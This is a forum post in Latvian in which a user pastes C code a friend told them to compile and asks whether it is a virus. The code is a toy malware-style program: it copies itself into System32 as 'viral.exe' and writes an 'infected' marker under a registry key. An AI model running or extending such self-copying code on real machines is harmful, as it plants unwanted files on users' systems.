Kaut kads viruss?

Nu lieta tāda, Mans draugs man teica lai C/C++ compilerii ierakstu shaadas linijas:
#include windows.h
#include string.h

char windir[MAX_PATH];

int APIENTRY WinMain(HINSTANCE hInstance,
                             HINSTANCE hPrevInstance,
                             LPSTR lpCmdLine,
                             int nCmdShow)
{

char pathname[256];
HKEY hKey;

GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);

strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);

unsigned char reg[10] = "infected";

RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);

}

Bet es nezinu, man tas izskataa peec kautkaa Virus veidiiga!! Kaa jums liekas?